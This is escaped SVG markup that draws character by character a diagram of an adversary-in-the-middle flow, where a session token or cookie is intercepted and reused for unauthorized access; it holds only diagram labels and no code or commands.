&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;196&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;m&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;452&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;256&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;v&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;U&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;196&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;M&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;452&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;264&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;196&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;)&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;452&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;5&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;272&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;P&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;452&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;452&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;y&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;U&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;w&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;x&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;564&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;y&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;4&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;y&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;3&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;320&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;320&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;320&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;320&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;320&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;u&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;320&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;328&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;328&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;328&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;328&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;308&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;344&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;344&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;344&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;344&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;344&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;344&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;344&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;w&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;z&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;M&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;5&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;.&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;T&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;84&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;260&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;500&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;516&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
